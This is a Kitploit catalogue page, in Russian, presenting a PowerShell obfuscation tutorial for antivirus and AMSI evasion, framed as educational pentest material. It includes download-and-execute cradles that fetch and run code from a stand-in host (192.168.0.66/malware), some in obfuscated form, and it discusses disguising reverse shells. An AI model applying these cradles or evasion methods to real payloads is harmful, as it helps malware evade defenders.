Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
PowerShell-Obfuscation-Bible — A collection of techniques, examples and a little bit of theory for manually obfuscating PowerShell scripts to achieve AV evasion, compiled for educational purposes. The contents of this repository are the result of personal research, including reading materials online and conducting trial-and-error attempts in labs and pentests. | Kitploit
Инструменты/GitHubGitHub/t3l3machus/powershell-obfuscation-bible
IDS/IPS EvasionPenetration TestingLearning & EducationRed TeamingCurated ResourcesPayload Development
GitHubt3l3machus/powershell-obfuscation-bible

PowerShell-Obfuscation-Bible

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

A collection of techniques, examples and a little bit of theory for manually obfuscating PowerShell scripts to achieve AV evasion, compiled for educational purposes. The contents of this repository are the result of personal research, including reading materials online and conducting trial-and-error attempts in labs and pentests.

1.2k1392 лет назадПроверено Kitploit
Поделиться

Библия обфускации PowerShell

Python License

Сборник техник, примеров и немного теории по ручной обфускации PowerShell-скриптов для обхода сигнатурного детектирования, составленный в образовательных целях. Содержимое этого репозитория — результат личных исследований, включая чтение материалов в интернете и проведение проб и ошибок в лабораторных условиях и пентестах. Не стоит воспринимать всё как должное.

Видеопрезентация на YouTube: youtube.com/watch?v=tGFdmAh_lXE

⚠️ Отказ от ответственности: Использование техник и концепций, описанных в этом репозитории, для получения несанкционированного доступа к системам, на тестирование которых у вас нет разрешения, является незаконным. Вы несёте ответственность за свои действия. Не будьте злом.

Оглавление

  1. Энтропия
  2. Выявление триггеров детектирования
  3. Переименование объектов
  4. Обфускация логических значений
  5. Прерывание командлета кавычками
  6. Прерывание командлета символом крышки
  7. Техника Get-Command
  8. Замена циклов
  9. Замена команд
  10. Играемся со строками
  11. Добавление мусора
  12. Добавление и удаление комментариев
  13. Рандомизация регистра символов
  14. Перестановка компонентов скрипта
  15. Построчное выполнение скрипта

Энтропия

Научный термин entropy, который обычно определяется как мера случайности или беспорядка системы, важен в обходе антивирусов. Это связано с тем, что вредоносное ПО часто содержит код, который сильно рандомизирован, зашифрован и/или закодирован (обфусцирован), чтобы его было трудно анализировать и, следовательно, обнаруживать. Как один из различных методов, антивирусные продукты используют анализ энтропии для выявления потенциально вредоносных файлов и полезных нагрузок.

Важно понимать эту концепцию, потому что при обфускации кода следует учитывать изменение энтропии, создаваемое выбранными вами изменениями. Ломать сигнатуры легко, но если не обращать внимания на уровень энтропии, продвинутые AV/EDR увидят это насквозь.

Принцип, который стоит держать в уме: Чем больше энтропия, тем выше вероятность того, что данные обфусцированы или зашифрованы, и тем вероятнее, что файл/полезная нагрузка вредоносны. К счастью, есть способы её снизить.

Claude E. Shannon представил формулу в своей статье 1948 года A Mathematical Theory of Communication, которую можно использовать для измерения энтропии набора данных. Вот простая реализация Shannon Entropy на Python, которую вы можете использовать для измерения энтропии разрабатываемых полезных нагрузок:

root@kitploit:~
#!/bin/python3
# Usage: python3 entropy.py <file>

import math, sys

def entropy(string):
    "Calculates the Shannon entropy of a UTF-8 encoded string"

    # decode the string as UTF-8
    unicode_string = string.decode('utf-8')

    # get probability of chars in string
    prob = [ float(unicode_string.count(c)) / len(unicode_string) for c in dict.fromkeys(list(unicode_string)) ]

    # calculate the entropy
    entropy = - sum([ p * math.log(p) / math.log(2.0) for p in prob ])

    return entropy


f = open(sys.argv[1], 'rb')
content = f.read()
f.close()

print(entropy(content))

Вы также можете использовать этот онлайн-калькулятор энтропии Шеннона или утилиту Microsoft Sigcheck.exe с опцией -a.

Выявление триггеров детектирования

Зрелый и элегантный подход перед тем, как бросаться в метод проб и ошибок с обфускацией, чтобы получить вариант полезной нагрузки, который не помечается, — это выявить части скрипта, которые вызывают детектирование вредоносного ПО. Особенно в коротких скриптах, таких как C2-команды, вы, возможно, сможете внести незначительные изменения и сразу же исчезнуть с радаров.

Отличный инструмент для выявления таких триггеров — AMSITrigger. Вот пример использования с файлом, содержащим вредоносный скрипт. Красная область обозначает часть, к которой следует применить обфускацию:

image

Вы также можете выявлять триггеры вручную, выполняя скрипт по частям.

Переименование объектов

При обфускации скриптов приоритетом должна быть замена имён переменных/классов/функций на случайные. Таким образом, в сочетании с другими техниками, вы сможете легко обойти детектирование. Но следует помнить об энтропии разрабатываемых полезных нагрузок. Обратите внимание на следующий стандартный reverse shell скрипт, который обычно обнаруживается большинством, если не всеми антивирусами:

image

Теперь рассмотрим следующую обфусцированную версию:

image

В этой версии все имена переменных заменены на случайные имена длиной 32 символа. Также я заменил (pwd).Path на $(gl). Полезная нагрузка имеет Shannon entropy 4.96. На момент написания этого текста она не обнаруживается MS Defender и рядом других продуктов:

image

Теперь рассмотрим эту версию:

image

В этом варианте также заменены все имена переменных, но на этот раз на имена, состоящие из x символов 'f', что приводит к значительному снижению энтропии полезной нагрузки. Здесь я также заменил (pwd).Path на $(gl). Опять же, на момент написания этот вариант не обнаруживается MS Defender. Полезная нагрузка имеет Shannon entropy 0.76.

image

⚡ Оба этих варианта обходят обычные антивирусы, но второй имеет более низкую энтропию и, вероятно, будет иметь больше шансов при обработке EDR и другими продвинутыми антивирусными движками. ⚠️ Я не утверждаю, что лучшая производительность второго варианта полезной нагрузки в этом примере обязательно связана с уровнем энтропии (я не могу этого знать наверняка; возможно, дело в длине, или в обоих факторах, или ещё в чём-то), но это важный аспект, который следует учитывать при обфускации, и этот пример призван подчеркнуть данную концепцию.

Вы можете использовать скрипт ниже для рандомизации имён переменных в PowerShell-скрипте. ⚠️ Скрипт не идеален! Если запустить его на больших сложных PowerShell-скриптах, он может сломать их функциональность, заменив то, что не нужно. Используйте с осторожностью и осознанно.

root@kitploit:~
#!/bin/python3
#
# This script is an example. It is not perfect and you should use it with caution.
# Source: https://github.com/t3l3machus/PowerShell-Obfuscation-Bible
# Usage: python3 randomize-variables.py <path/to/powershell/script>

import re
from sys import argv
from uuid import uuid4

def get_file_content(path):
	f = open(path, 'r')
	content = f.read()
	f.close()
	return content
	

def main():

	payload = get_file_content(argv[1])
	used_var_names = []

	# Identify variables definitions in script
	variable_definitions = re.findall('\$[a-zA-Z0-9_]*[\ ]{0,}=', payload)
	variable_definitions.sort(key=len)
	variable_definitions.reverse()

	# Replace variable names
	for var in variable_definitions:
		
		var = var.strip("\n \r\t=")

		while True:
			
			new_var_name = uuid4().hex
			
			if (new_var_name in used_var_names) or (re.search(new_var_name, payload)):
				continue
				
			else:
				used_var_names.append(new_var_name)
				break	
						
		payload = payload.replace(var, f'${new_var_name}')
	
	print(payload + '\n')

	
main()

Обфускация логических значений

Заменять $True и $False на другие логические эквиваленты — очень весело и просто, а самих эквивалентов буквально бесконечное множество. Особенно если вы выявили триггер детектирования в полезной нагрузке и он включает $True или $False, вы, скорее всего, сможете обойти детектирование, просто заменив значение на логический эквивалент. Все примеры ниже вычисляются как True. Их можно превратить в False, просто добавив восклицательный знак перед выражением (например, ![bool]0x01):

  • Логическое приведение (typecast) чего угодно, что не является 0, Null или пустой строкой, вернёт True:
root@kitploit:~
[bool]1254
[bool]0x12AE
[bool][convert]::ToInt32("111011", 2) # Converts a string to int from base 2 (binary)
![bool]$null
![bool]$False
[bool]"Any non empty string"
[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/-12354893)   # Boolean typecast of a negative number 
[bool](12 + (3 * 6))
[bool](Get-ChildItem -Path Env: | Where-Object {$_.Name -eq "username"})
[bool]@(0x01BE)
[bool][System.Collections.ArrayList]
[bool][System.Collections.CaseInsensitiveComparer]
[bool][System.Collections.Hashtable]

# Well, you get the point.
  • Логическое приведение любого класса также вернёт True:
root@kitploit:~
[bool][bool]
[bool][char]
[bool][int] 
[bool][string]
[bool][double]
[bool][short]
[bool][decimal]
[bool][byte]
[bool][timespan]
[bool][datetime]
  • Результат сравнения, которое вычисляется как True (ну тут очевидно):
root@kitploit:~
(9999 -eq 9999)
([math]::Round([math]::PI) -eq (4583 - 4580))
[Math]::E -ne [Math]::PI
  • Или можно просто взять значение True из атрибутов объекта:
root@kitploit:~
$x = [System.Data.AcceptRejectRule].Assembly.GlobalAssemblyCache
$x = [System.TimeZoneInfo+AdjustmentRule].IsAnsiClass
$x = [mailaddress].IsAutoLayout
$x = [ValidateCount].IsVisible
  • Можно смешивать всё это и сооружать жуткие способы выразить True или False:
root@kitploit:~
[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/!%5Bbool%5D$null)
[System.Collections.CaseInsensitiveComparer] -ne [bool][datetime]'2023-01-01'
[bool]$(Get-LocalGroupMember Administrators)
!!!![bool][bool][bool][bool][bool][bool]

Прерывание командлета кавычками

Вы можете обфусцировать командлеты, вставляя одинарные и/или двойные кавычки между символами, если только это не начало. Это суперэффективно! Например, выражение iex "pwd" можно заменить на:

root@kitploit:~
i''ex "pwd"
i''e''x "pwd"
i''e''x'' "pwd"
ie''x'' "pwd"
iex'' "pwd"
i""e''x"" "pwd"
ie""x'' "pwd"

# and so on... but also:

i''ex "p''wd"
i''e''x "p''w''d"
i''e''x'' "p''w''d''"
ie''x'' "pw''d`"`""
iex'' "p`"`"w`"`"d`"`""
i""e''x"" "p`"`"w`"`"d''"
ie""x'' "p`"`"w''d`"`""

# You get the point.

Прерывание командлета символом крышки

Это немного грязно, но может пригодиться. В терминале Windows CMD можно добавлять символ крышки (^) между символами команды, и она всё равно будет выполняться нормально. В PowerShell-скрипте один из способов использовать это будет таким:

root@kitploit:~
cmd /c "who^am^i"

Untistled

Техника Get-Command

Действительно крутой трюк, который показал мне мой друг и могучий хакер Karol Musolff (@kmusolff). Вы можете использовать Get-Command (или gcm), чтобы получить имя (строку) любой команды, включая все не-PowerShell файлы в переменной окружения Path ($env:Path), используя подстановочные знаки. Затем их можно запускать как задания с помощью оператора &. Например, следующую строку:

root@kitploit:~
Invoke-RestMethod -uri https://192.168.0.66/malware | iex

Можно обфусцировать до:

root@kitploit:~
&(Get-Command i????e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)

Или даже лучше, вот этот вариант с более низким значением Shannon entropy:

root@kitploit:~
&(Get-Command i************************************************************e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)

Замена циклов

Некоторые циклы можно заменить на другие типы циклов или функции. Например, цикл While ($True){ # some code } можно заменить на следующее:
Бесконечный цикл For

root@kitploit:~
For (;;) { # some code }

Цикл Do-While

root@kitploit:~
Do { # some code } While ($true)

Цикл Do-Until

root@kitploit:~
Do { # some code } Until (1 -eq 2)

Рекурсивную функцию

root@kitploit:~
function runToInfinity { 
 # do something;  
 runToInfinity;
}

Добавление мусора

Добавление/удаление параметров

Можно попробовать добавить параметры к командлету. Например, следующую строку:

root@kitploit:~
iex "whoami"

Можно расширить до:

root@kitploit:~
iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire "whoami"

Вы, конечно, можете попробовать и обратное.

Добавление случайных объектов

Можно «засорять» скрипт случайными переменными и функциями. Предположим, следующий скрипт является вредоносным:

root@kitploit:~
$b64 = $(irm -uri http://192.168.0.66/malware); 
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));
iex $virus;

Возможно, вам удастся сломать его сигнатуру, сделав что-то вроде:

root@kitploit:~
$b64 = $(irm -uri http://192.168.0.66/malware); sleep 0.01;sleep 0.01;Get-Process | Out-Null;
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));sleep 0.01;sleep 0.01;Measure-Object | Out-Null;
iex $virus;

Замена команд

Всегда можно поискать в скрипте команды или даже целые блоки кода, которые можно заменить компонентами с той же/похожей функциональностью. В следующем классическом reverse shell скрипте команда pwd используется для получения текущей рабочей директории и восстановления значения приглашения оболочки:
image

Часть (pwd).Path можно заменить следующим странным, нетрадиционным маленьким скриптом, и хотя он даже содержит pwd, он служит нашей цели — ломает сигнатуру, сохраняя функциональность скрипта:

root@kitploit:~
"$($p = (Split-Path `"$(pwd)\\0x00\`");if ($p.trim() -eq ''){echo 'C:\'}else{echo $p})"

Конечно, есть и более простые замены для pwd, например gl, get-location и cmd.exe /c chdir, которые могут сработать, особенно в сочетании с другими техниками.

Играемся со строками

Тому, что можно делать со строками, нет конца. Ниже приведены некоторые интересные концепции. В примерах используется строка 'malware':

Преобразование строки в here-string

Ценой добавления пары новых строк можно превратить строку в here-string.
Это:

root@kitploit:~
$x = 'echo malware';
iex $x;

То же самое, что:

root@kitploit:~
$x = 'echo malware';
iex @"
$x
"@

Разворот строк

root@kitploit:~
$x="Your string reversed".ToCharArray(); [array]::reverse($x); $x -join ""

Конкатенация

Довольно прямолинейно и классически:

root@kitploit:~
'mal' + 'w' + 'ar' + 'e'

Получение строки из подстроки:

Поместите нужное значение между посторонней строкой и используйте substring() для его извлечения на основе начального и конечного индексов:

root@kitploit:~
'xxxmalwarexxx'.Substring(3,7)

Замена строки по регулярному выражению:

Создайте мусорную строку и замените её нужным значением с помощью regex-совпадения:

root@kitploit:~
'a123' -replace '[a-zA-Z]{1}[\d]{1,3}','malware'

Декодирование нужной строки из Base64:

Закодируйте строку и декодируйте её внутри скрипта:

root@kitploit:~
[System.Text.Encoding]:https://raw.githubusercontent.com/t3l3machus/powershell-obfuscation-bible/HEAD/:Default.GetString(%5BSystem.Convert%5D::FromBase64String(%22bWFsd2FyZQ==%22))

Получение символов нужной строки из байтов:

root@kitploit:~
"$([char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x6d)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x6c)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x77)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x72)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x65))"

Это только для начала. Продолжение следует...

Добавление и удаление комментариев

Добавление комментариев

Обфускация скрипта путём добавления комментариев там и сям может сработать и сама по себе.
Например, команда reverse shell может быть обфусцирована так:

Оригинал (обычная reverse shell команда, которая легко обнаруживается антивирусами)

image

Изменённый (добавлен <# Suspendisse imperdiet lacus eu tellus pellentesque suscipit #> в разных местах)

image

Это не только сработает, но и снизит значение Shannon entropy полезной нагрузки (при условии, что вы не используете сложные случайные комментарии).

Удаление комментариев

Существуют строки, похожие на вредоносное ПО, которые мгновенно вызывают срабатывание AMSI, и их замена должна быть приоритетом при обфускации скриптов. Посмотрите:
image

От одного ввода строки 'invoke-mimikatz' в терминале у AMSI случается припадок (скрипт даже не присутствует и не загружен). Такие строки могут встречаться и в комментариях, так что их лучше удалять, особенно из ресурсов с открытым исходным кодом, которые вы берёте из интернета (например, Invoke-Mimikatz.ps1 с GitHub).

*Вообще, удалять комментарии — хорошая идея. Это был просто пример.

Рандомизация регистра символов

Пожалуй, самый старый трюк в книге. Рандомизация регистра символов командлетов и параметров может помочь:

root@kitploit:~
inVOkE-eXpReSSioN -vErbOse "WHoAmI /aLL" -dEBug

Перестановка компонентов скрипта

Иногда достаточно просто переместить переменные и классы в другие места, особенно если вы нашли триггер детектирования и он включает определение переменной, которое может быть выполнено где-то в другом месте, например, в начале скрипта.

Построчное выполнение скрипта

Иногда обойти антивирус можно, просто выполняя вредоносный скрипт построчно. Это, конечно, может быть сложно сделать в зависимости от обстоятельств. Если вы попробуете, помните о блоках скрипта, которые должны выполняться целиком (например, циклы, блоки try-catch, условные операторы, определения функций и т.д.). Чтобы проверить это, можно взять обычный PowerShell reverse shell скрипт (без обфускации) и выполнять его построчно. Будет ли он помечен? ;)

Скачать инструмент